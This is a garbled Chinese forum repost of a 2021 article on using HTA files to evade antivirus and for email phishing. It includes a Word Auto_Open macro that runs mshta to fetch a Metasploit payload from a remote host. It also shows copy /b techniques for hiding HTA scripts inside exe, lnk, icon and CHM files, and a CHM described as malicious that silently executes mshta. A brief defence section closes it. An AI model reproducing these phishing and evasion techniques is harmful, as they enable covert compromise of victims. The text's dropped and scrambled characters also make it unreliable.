搜索

[27139] 2021-01-15_利用HTA文件绕过杀软及邮件钓

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2021-01-15_利用HTA文件绕过杀软及邮件钓 利 用 H T A 文 件 绕 过 杀 软 及 邮 件 钓 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 1 - 1 5 收 录 于 话 题   # 内 网 安 全 小 组   , 2 8 个         点 击 上 方 “ 蓝 字 ” 关 注 我 们 本 文 作 者 ： j o k e l o v e （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） 0 x 0 1   基 础 基 础 H T A 是 H T M L   A p p l i c a t i o n 的 缩 写 ， 本 介 绍 H T A 在 内 渗 透 中 的 种 运 。 个 简 单 的 个 简 单 的 V B 脚 本 脚 本 H T A 件 可 以 解 析 j a v a s c r i p t 和 V B ， 因 此 在 内 中 可 以 来 绕 过 杀 软 或 是 实 现 邮 件 钓 。 < ! - - t e s t 1 . h t a - - > < h t m l > < h e a d > < t i t l e > O N E - 简 单 脚 本   < / t i t l e > < / h e a d > < b o d y > < c e n t e r > < p > H T A H T M L A p p l i c a t i o n H T M L   T E S T < / p > < / c e n t e r >
通 过 执 :   m s h t a   % c d % / t e s t . h t a   可 以 看 到 弹 出 个 计 算 器 。 双 击 时 ， 会 弹 出 h t a 件 的 框 ， 有 时 候 为 了 避 免 弹 出 这 个 框 ， 可 以 在 h t a 件 中 添 加 样 式 ： 件 执 件 执 h t a m s h t a 命 令 可 以 来 直 接 解 析 V B S c r i p t 代 码 ， 因 此 可 以 在 c m d 中 直 接 输 : m s h t a . e x e   的 默 认 路 径 在 % w i n d i r % s y s t e m 3 2 m s h t a . e x e   a n d   % w i n d i r % s y s w o w 6 4 m s h t a . e x e < / c e n t e r > < / b o d y > < s c r i p t   L A N G U A G E = " V B S c r i p t " > / /   开 启 个 计 算 器 C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) . r u n ( " c a l c " ) < / s c r i p t > < / h t m l > < H T A : A P P L I C A T I O N   i c o n = " # "   W I N D O W S T A T E = " m i n i m i z e "   S H O W I N T A S K B A R = " n o " S Y S M E N U = " n o "   C A P T I O N = " n o "   / > m s h t a . e x e   j a v a s c r i p t : " < s c r i p t L A N G U A G E = " V B S c r i p t " > C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) . r u n ( " c a l c " ) r n c l o s e ( ) < / s c r i p t > "
案 例 案 例   -   成 钓 成 钓 件 件 利 m e t a s p l o i t 成 个 h t a 件 在 在 w o r d 中 开 启 宏 命 令 进 中 开 启 宏 命 令 进 下 载 ： 下 载 ： 脚 本 如 下 ： 剩 下 就 是 等 待 标 上 线 了 。 S u b   T e s t ( ) P I D   =   S h e l l ( " m s h t a . e x e   h t t p : / / 1 0 . 2 1 1 . 5 5 . 9 : 8 0 8 0 / X s F T b f 3 G Z Y i i z . h t a " ) E n d   S u b S u b   A u t o _ O p e n ( ) T e s t E N D   S u b
0 x 0 2   对 对 H T A 的 的 件 的 隐 藏 件 的 隐 藏 由 于 M S H T A 对 不 同 后 缀 的 h t a 件 处 理 有 所 差 异 ， 我 们 可 以 通 过 修 改 后 缀 名 的 式 来 进 步 隐 藏 我 们 的 脚 本 。 第 种 常 的 式 是 将   . h t a   修 改 为   . h t m l   。 这 种 只 能 通 过 双 击 （ M i s c o s o f t 浏 览 器 下 ） 或 者 m s h t a . e x e   命 令 执 的 式 来 运 我 们 的 h t a 脚 本 。 为 脚 本 加 上 图 标 为 脚 本 加 上 图 标 默 认 的 图 标 过 于 简 单 ， 很 难 吸 引 去 点 击 。 因 此 ， 需 要 做 些 优 化 ： 在 h t a 件 中 需 要 加 上 : 需 要 注 意 的 是 ： 图 标 只 可 以 在 命 令 上 显 示 ， 在 桌 上 仍 然 没 有 图 标 因 此 ， 我 们 必 须 寻 找 其 它 法 和 和 e x e 件 进 件 进 拼 接 拼 接 这 样 ， 我 们 可 以 在 e x e 中 绑 定 个 h t a 件 。 实 战 场 景 中 ， 我 们 可 以 绑 定 个 e x e ， 并 且 添 加 可 以 调 m s h t a 执 脚 本 的 代 码 。 也 可 以 通 过 s h e l l c o d e 注 的 式 来 修 改 常 的 e x e 使 使 L N K 快 捷 快 捷 式 式 合 上 述 讨 论 致 ， 通 过 ： 点 击   r e a d m e 2 . t x t . l n k   时 正 常 打 开 r e a d m e . t x t 使 m s h t a   r e a d m e 2 . t x t . l n k 时 ， 执 我 们 的 脚 本 和 帮 助 和 帮 助 件 进 件 进 拼 接 拼 接 上 述 的 两 种 式 ， 都 需 要 输 m s h t a 命 令 来 进 运 ， 如 果 仅 仅 需 要 户 双 击 既 能 运 正 常 的 程 序 ， 要 执 我 们 的 脚 本 ， 需 要 较 复 杂 的 利 链 条 才 能 实 现 。 下 介 绍 种 简 单 的 法 ： 成 成 个 个 c h m 件 件 下 载   H T M L   H e l p   W o r k s h o p 写 个 H P P （ 帮 助 档 的 描 述 件 ） c o p y   / b   b e a u t y . i c o + t e s t . h t a   t e s t _ w i t h _ b e a u t y . h t a < H T A : A P P L I C A T I O N   i c o n = " # "   / > c o p y   / b   % w i n d i r % s y s t e m 3 2 c a l c . e x e + t e s t . h t a   c a l c 2 . e x e c a l c 2 . e x e   #   正 常 运 计 算 机 程 序 m s h t a   % c d % c a l c 2 . e x e   #   执 的 是 H T A 脚 本 C o p y   / b   r e a d m e . t x t . l n k + t e s t . h t a   r e a d m e 2 . t x t . l n k
3 .   编 写 H e l l o . h t m 4 .   使 H T M L   H e l p   W o r k s h o p   编 译 成   c h m 件 利 代 码 就 时   h e l l o . h t m 的 第 1 0 ， 和 和 h t a 件 进 件 进 绑 定 绑 定 这 样 就 实 现 了 户 在 点 击 时 ， 在 不 影 响 原 有 程 序 的 基 础 上 执 我 们 的 h t a 脚 本 。 0 x 0 3   防 范 策 略 防 范 策 略 1 .   禁 o f f i c e 上 的 宏 命 令 [ O P T I O N S ] C o m p a t i b i l i t y = 1 . 1   o r   l a t e r C o m p i l e d   f i l e = h e l l o . c h m D e f a u l t   t o p i c = h e l l o . h t m D i s p l a y   c o m p i l e   p r o g r e s s = N o L a n g u a g e = 0 x 4 1 0   I t a l i a n   ( I t a l y ) [ F I L E S ] h e l l o . h t m [ I N F O T Y P E S ] < h t m l > < t i t l e >   H e l l o   W o r l d !   < / t i t l e > < h e a d > < / h e a d > < b o d y > < O B J E C T   i d = s h o r t c u t   c l a s s i d = " c l s i d : 5 2 a 2 a a a e - 0 8 5 d - 4 1 8 7 - 9 7 e a - 8 c 3 0 d b 9 9 0 4 3 6 "   w i d t h = 1   h e i g h t = 1 > < P A R A M   n a m e = " C o m m a n d "   v a l u e = " S h o r t C u t " > < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : s h o r t c u t " > < P A R A M   n a m e = " I t e m 1 "   v a l u e = " , c m d , / c   m s h t a   % C D % h e l l o . c h m " > < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > s h o r t c u t . C l i c k ( ) ; < / S C R I P T > < h 2   a l i g n = c e n t e r >   C H M   E x a m p l e   < / h 2 > < p > < h 3   a l i g n = c e n t e r >   T h i s   i s   a   m a l i c i o u s   C H M   f i l e   < / h 3 > < / p > < / b o d y > < / h t m l   , c m d , / c   m s h t a   % C D % h e l l o . c h m c o p y   / b   h e l l o . c h m + t e s t . h t a   h e l l o . c h m
2 .   下 载 件 严 格 做 好 m d 5 值 验 证 内 网 小 组 持 续 招 人 ， 扫 描 二 维 码 加 入 我 们 ！ 内 网 小 组 持 续 招 人 ， 扫 描 二 维 码 加 入 我 们 ！ 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 邀 请 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 邀 请 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！  
  目 前 目 前 3 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理